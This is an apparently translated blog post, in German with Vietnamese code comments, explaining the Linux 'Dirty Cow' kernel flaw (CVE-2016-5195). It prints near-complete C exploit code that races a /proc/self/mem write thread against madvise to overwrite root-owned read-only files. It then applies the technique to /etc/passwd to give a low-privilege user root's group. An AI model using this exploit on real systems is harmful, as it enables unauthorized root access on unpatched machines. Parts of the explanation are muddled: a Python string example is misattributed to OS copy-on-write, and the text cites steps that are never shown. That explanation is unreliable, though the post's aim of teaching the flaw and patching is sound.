
Da der Kernel mit Root-Rechten läuft, kann er als Schwachstelle zur Privilegienausweitung ausgenutzt werden. Das bedeutet, dass ein Angreifer eine Race Condition ausnutzen kann, um Root-Rechte zu erlangen, indem er sie von einem Benutzer mit niedrigen Rechten aus angreift.
Wie ich gerade in der Vorlesung Betriebssystemtheorie gelernt habe, tritt eine Race Condition auf, wenn zwei oder mehr Prozesse gleichzeitig auf eine Ressource zugreifen und Operationen auf dieser Ressource ausführen, ohne richtig synchronisiert zu sein. In diesem Fall können die Ergebnisse dieser Operationen falsch oder unerwartet sein.
Zum besseren Verständnis schauen wir uns ein einfaches Beispiel an:
a = "h1n4m"; # ta gán cho a một chuỗi
b = a; # gán tiếp cho b = a
Obwohl wir hier zwei Variablen haben, zeigen beide auf dasselbe Speicherobjekt. Das ist ein Mechanismus des Betriebssystems, weil es nicht nötig ist, die doppelte Speichermenge für identische Werte zu belegen. Das Betriebssystem wartet, bis die Kopie modifiziert wird; dann weist es der anderen Variablen eigenen Speicher zu.
b += "dep trai vcl" # sử đổi giá trị biến b, cụ thể là thêm một chuỗi nối vào sau
In diesem Moment führt das Betriebssystem Folgendes aus:
Die Condition tritt zwischen Schritt 2 und Schritt 4 auf und täuscht das Memory Mapping, sodass der modifizierte Inhalt in den ursprünglichen Speicherbereich geschrieben wird, anstatt in den neu zugewiesenen. Dadurch können wir den Speicher von a, also das ursprüngliche Objekt, verändern, anstatt den von b, selbst wenn wir auf a nur Leserechte haben.
Jetzt zum Hauptteil: Was ist die Idee hinter dem Exploit? Wie wir wissen, werden die Rechte eines Benutzers in der Datei /etc/passwd festgelegt, und nur root kann diese Datei ändern. Können wir also eine Race Condition ausnutzen, um den Inhalt der Datei /etc/passwd als Benutzer mit reinen Leserechten zu verändern?
Die Antwort ist ja. Zuerst analysieren wir den Exploit-Code anhand eines einfacheren Beispiels:

Zuerst erstellen wir eine Datei dirtycow mit den Rechten 644 (nur root hat Schreibrechte). Wir sehen, dass beim Schreiben von "Hello" in die Datei ein Permission denied auftritt.
Das Angriffsziel ist also vorbereitet, jetzt kommt der Exploit-Code:
#include <fcntl.h>
#include <pthread.h>
#include <sys/stat.h>
#include <string.h>
void *map;
void *writeThread(void *arg);
void *madviseThread(void *arg);
int main(int argc, char *argv[])
{
pthread_t pth1,pth2;
struct stat st;
int file_size;
int f=open("dirtycow", O_RDONLY);
fstat(f, &st);
file_size = st.st_size;
map=mmap(NULL, file_size, PROT_READ, MAP_PRIVATE, f, 0);
char *position = strstr(map,"h1n4m");
pthread_create(&pth1, NULL, madviseThread, (void *)file_size);
pthread_create(&pth2, NULL, writeThread, position);
pthread_join(pth1, NULL);
pthread_join(pth2, NULL);
return 0;
}
Dieser Exploit besteht aus drei Threads: dem Haupt-Thread, dem writeThread und dem madviseThread.
Der Haupt-Thread hat die Aufgabe, unsere Datei in den Speicher zu mappen:
// Trước tiên chúng ta mở tệp của mình (lưu ý rằng nó đang được mở ở chế độ chỉ đọc)
int f=open("dirtycow", O_RDONLY);
// Sau đó chúng ta map nó vào COW memory bằng MAP PRIVATE
fstat(f, &st);
file_size = st.st_size;
map=mmap(NULL, file_size, PROT_READ, MAP_PRIVATE, f, 0);
Die Position des zu ersetzenden Musters finden:
// Sử dụng hàm strstr để tìm vị trí của "h1n4m" trong bộ nhớ được ánh xạ
char *position = strstr(map,"h1n4m");
Danach starten wir zwei Threads: writeThread und madviseThread.
pthread_create(&pth1, NULL, madviseThread, (void *)file_size);
pthread_create(&pth2, NULL, writeThread, position);
pthread_join(pth1, NULL);
pthread_join(pth2, NULL);
writeThread:
void *writeThread(void *arg)
{
char *content= "h4ck3r";
off_t offset = (off_t) arg;
int f=open("/proc/self/mem", O_RDWR);
while(1) {
// Đưa con trỏ đến chính xác vị trí cần thay đổi
lseek(f, offset, SEEK_SET);
// Thay đổi trên memory
write(f, content, strlen(content));
}
}
Die Aufgabe dieses Threads ist es, die Zeichenkette h1n4m durch h4ck3r zu ersetzen (oder was auch immer du willst :> ziemlich gefährlich, oder?), aber da der gemappte Speicher vom Typ Copy-on-Write ist, kann dieser Thread nur den Inhalt der Kopie des gemappten Speichers verändern und bewirkt keinerlei Änderung an der Datei, oder?
Wo liegt also die Gefahr? Schauen wir uns den nächsten Thread an.
madviseThread
void *madviseThread(void *arg)
{
int file_size = (int) arg;
while(1){
madvise(map, file_size, MADV_DONTNEED);
}
}
Dieser Thread hat nur eine Aufgabe: die Kopie des gemappten Speichers zu verwerfen, sodass der Zeiger wieder auf den ursprünglichen gemappten Speicher zeigen kann.
Wenn diese beiden Threads nacheinander ausgeführt werden, also nicht-multithreaded, betrifft die Änderung immer nur die Kopie des gemappten Speichers und stellt keine Gefahr für unsere geschützte Datei dar. Aber was passiert, wenn diese beiden Threads gleichzeitig aufgerufen werden, also multithreaded? Genau, dann entsteht eine Race Condition. Irgendwann wird das System getäuscht, der Zeiger zeigt auf den ursprünglichen gemappten Speicher, und die Daten in der Root-Datei werden verändert, obwohl keine Schreibrechte bestehen. Aber das Betriebssystem macht nicht immer diesen Fehler — deshalb laufen die beiden Threads in einer Endlosschleife; es genügt, wenn das System nur einmal durcheinanderkommt, dann läuft alles genau wie von uns geplant.
Zurück zum eigentlichen Thema: Die Datei /etc/passwd kann nur von root geändert werden. Wir müssen das oben erworbene Wissen anwenden, um die Gruppe des lowuser in der Datei /etc/passwd zu ändern.
Als Benutzer mit niedrigen Rechten haben wir keine Schreibrechte für die Datei dirtycow.
Der Lowuser wurde in dieselbe Gruppe wie root aufgenommen (1001->0000)In dieser Analyse habe ich euch CVE-2016-5195 vorgestellt, auch bekannt als „Dirty Cow“. Neben dem Ändern der Gruppe können wir sogar einen komplett neuen Benutzer zum System hinzufügen — die Vorgehensweise bleibt dieselbe. Obwohl diese CVE schon sehr lange existiert, sind bis heute viele Systeme mit alten Kerneln weiterhin betroffen. Ich hoffe, dass ihr durch diesen Artikel einen Überblick über die CVE und über die Schutzmöglichkeiten für euer eigenes System bekommt. (Kernel aktualisieren!!!!!)
Und ich bin h1n4m. Peaceeeee.